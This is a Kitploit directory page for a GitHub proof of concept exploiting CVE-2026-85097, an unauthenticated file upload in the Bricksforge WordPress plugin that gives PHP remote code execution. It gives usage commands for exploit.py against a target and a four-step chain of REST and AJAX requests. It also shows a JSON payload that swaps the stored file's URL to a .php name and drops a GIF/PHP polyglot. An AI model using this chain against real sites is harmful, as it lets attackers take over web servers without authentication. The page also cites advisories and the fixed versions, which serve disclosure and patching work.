Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-85097 — Python PoC exploiting CVE-2026-85097, an unauthenticated file upload in Bricksforge <= 3.1.8.9, using a GIF/PHP polyglot and URL mismatch to achieve RCE. | Kitploit
Tools/GitHubGitHub/blackhatexploitation/cve-2026-85097
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload Development
GitHub
blackhatexploitation/cve-2026-85097

CVE-2026-85097

Python PoC exploiting CVE-2026-85097, an unauthenticated file upload in Bricksforge <= 3.1.8.9, using a GIF/PHP polyglot and URL mismatch to achieve RCE.

View Repository
1122 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-85097

Bricksforge <= 3.1.8.9 unauthenticated file upload → PHP RCE.

temporaryFileUploads.url is taken from the client on form submit. MIME is checked on the first upload, then copy() uses basename($url) as the destination name.

CVECVE-2026-85097
CWECWE-434
CVSS9.8 / 10.0
AffectedBricksforge <= 3.1.8.9
Fixed3.1.8.10, 4.0.1
Authnone

Setup

pip3 install requests

Usage

python3 exploit.py --url http://TARGET
python3 exploit.py --url https://TARGET --insecure
python3 exploit.py --url http://TARGET --form-id FORM --post-id 12 --field-id file

Needs a live Pro Form. Upload field is optional.

Chain

  1. POST /wp-admin/admin-ajax.php action=bricksforge_regenerate_nonce
  2. POST /wp-json/bricksforge/v1/form_file_upload — GIF/PHP polyglot (MIME OK)
  3. POST /wp-json/bricksforge/v1/form_submit — file = .gif, url = .php
  4. GET /wp-content/uploads/YYYY/MM/*.php — body CVE-2026-85097-OK
{
  "temporaryFileUploads": [
    {
      "field": "form-field-file",
      "file": {
        "file": "/var/www/html/wp-content/uploads/bricksforge/tmp/xxxx.gif",
        "url": "http://TARGET/wp-content/uploads/bricksforge/tmp/pwn.php",
        "type": "image/gif"
      }
    }
  ]
}

Refs

  • https://www.cve.org/CVERecord?id=CVE-2026-85097
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/e993c929-f175-43a7-92e6-9d3b089b8dde
  • https://patchstack.com/articles/critical-unauthenticated-arbitrary-file-upload-vulnerability-exploited-in-bricksforge-plugin/
  • https://bricksforge.io/version-changelog/
Download Tool